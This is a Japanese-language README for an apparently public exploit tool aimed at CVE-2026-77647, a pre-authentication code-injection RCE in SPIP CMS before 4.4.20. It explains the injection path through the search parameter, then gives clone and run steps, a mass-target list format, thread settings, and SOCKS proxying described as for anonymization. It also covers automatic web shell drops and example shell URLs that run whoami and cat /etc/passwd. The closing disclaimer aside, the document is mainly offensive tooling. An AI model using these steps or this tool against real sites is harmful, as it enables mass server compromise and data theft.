
SPIP 4.4.20 より前のバージョンでは、認証されていないリモート攻撃者が任意のコードを実行できる
SPIP 4.4.20 より前のバージョンでは、未認証のリモート攻撃者が任意のコードを実行できる
SPIP CMS における認証前リモートコード実行 — 4.4.20 より前のすべてのバージョン
CVE-2026-77647 は、4.4.20 より前のすべてのバージョンの SPIP CMS に影響する重大な未認証リモートコード実行 (RCE) の脆弱性です。
この欠陥により、リモート攻撃者は認証やユーザーの操作を一切必要とせず、対象サーバー上で任意の PHP コードを実行できます。2026年8月から実際の攻撃で活発に悪用され、SPIP チームによる緊急パッチのリリースにつながりました。
このツールは、設定可能な並列処理により、複数のターゲットに対してこの脆弱性の検出と悪用を自動化します。
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2026-77647 |
| 影響を受けるソフトウェア | SPIP CMS |
| 影響を受けるバージョン | 4.4.20 より前のすべてのバージョン |
| 種類 | 未認証リモートコード実行 (RCE) |
| CWE | CWE-94 — コード生成の不適切な制御 (コードインジェクション) |
| CVSS 3.1 スコア | 9.8 / 10 — 重大 |
| CVSS ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 認証 | 不要 (認証前) |
| 悪用状況 | 実際の攻撃で活発に悪用 (2026年8月) |
| 修正 | SPIP 4.4.20 (アドバイザリ) |
| 指標 | 値 | 意味 |
|---|---|---|
| 攻撃元区分 | ネットワーク | インターネット経由でリモートから悪用可能 |
| 攻撃条件の複雑さ | 低 | 特別な条件は不要 |
| 必要な特権レベル | なし | 認証は不要 |
| ユーザー関与 | なし | 被害者の操作は不要 |
| スコープ | 変更なし | 影響は脆弱なシステムに限定 |
| 機密性への影響 | 高 | すべてのデータへの完全な読み取りアクセス |
| 完全性への影響 | 高 | 完全な書き込み・変更アクセス |
| 可用性への影響 | 高 | 完全なサービス拒否が可能 |
この脆弱性は、SPIP テンプレートエンジンにおける2つの相互に作用する問題に起因します。
<?php ブロックの誤った識別 — SPIP のテンプレートエンジンは、ユーザーが制御可能な入力、特に検索 (recherche) パラメータ内の PHP 開始タグを適切にサニタイズできません。
var_export の不適切な処理 — PHP の var_export() 関数は、特定のエッジケース、特に入力に < 文字が含まれる場合に不適切に処理し、実行可能な PHP コードの注入を可能にします。
User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval
攻撃者は、SPIPの検索機能(?page=recherche&recherche=PAYLOAD)を通じて細工されたペイロードを送信します。このペイロードはX-Spip-Filtre HTTPヘッダーの仕組みを悪用してhtml_entity_decodeをトリガーし、注入されたPHPコードをデコードします。デコードされたコードはSPIPのテンプレートレンダリングエンジンによって評価され、任意のコード実行が達成されます。
┌──────────────────────┐
│ Attacker Machine │
└──────────┬───────────┘
│
│ GET /spip.php?page=recherche&recherche=<PAYLOAD>
▼
┌──────────────────────┐
│ SPIP Application │
│ │
│ 1. Receives search │
│ 2. var_export() │──── Mishandles '<' character
│ 3. X-Spip-Filtre │──── html_entity_decode
│ 4. Template eval │──── Executes injected PHP
│ │
└──────────┬───────────┘
│
│ file_put_contents() → PHP Web Shell
▼
┌──────────────────────┐
│ Web Shell Active │
│ Full RCE Achieved │
└──────────────────────┘
git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests
list.txt(または任意のカスタム名)という名前のファイルを作成し、1行に1つのターゲットを記述します:
https://target1.com
https://target2.com
http://192.168.1.100
target3.com
注: スキーム(
http://またはhttps://)のないターゲットは、デフォルトでhttp://になります。
python CVE-2026-77647.py
ツールは以下を入力するよう求めます:
[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):
| 速度 | スレッド数 | タイムアウト | プロファイル |
|---|---|---|---|
1 — 低速 | 5 | 25s | 🔇 ステルス |
2 — 標準 | 10 | 15s | ⚖️ バランス |
3 — 高速 | 25 | 12s | ⚡ アグレッシブ |
4 — 超高速 | 50 | 10s | 🔥 最大 |
[?] Proxy (blank = none): socks5://127.0.0.1:9050
匿名化のために HTTP/HTTPS/SOCKS プロキシをサポートします。
成功した結果は shells.txt に保存されます:
https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk
コマンド実行:
https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd
ファイルアップロードインターフェース:
https://target.com/Nx_.php?k=nXk
Composed-By ヘッダーとページフィンガープリントによる判定IMG/、tmp/、local/ ディレクトリへの書き込みを試行このツールは、教育目的および許可されたセキュリティ研究のみを目的として提供されています。
システム所有者からの明示的な書面による許可なしにこのツールをシステムに対して使用することは違法であり、Computer Fraud and Abuse Act (CFAA)、UK Computer Misuse Act、およびその他の法域における同等の法律を含むがこれらに限定されない、地域・国・国際法に違反する可能性があります。
作者は、このツールによって引き起こされたいかなる誤用、損害、または違法行為についても一切の責任を負いません。このツールを使用することにより、あなたは以下に同意したものとみなされます:
- 対象をテストする前に適切な許可を取得していること
- 自身の行為に対して全責任を負うこと
- 適用されるすべての法律および規制を遵守すること
- コンピュータシステムへの不正アクセスが犯罪行為であることを理解していること
責任を持って使用してください。倫理的にハックしてください。
By: Khaled Alenazi
@Nxploited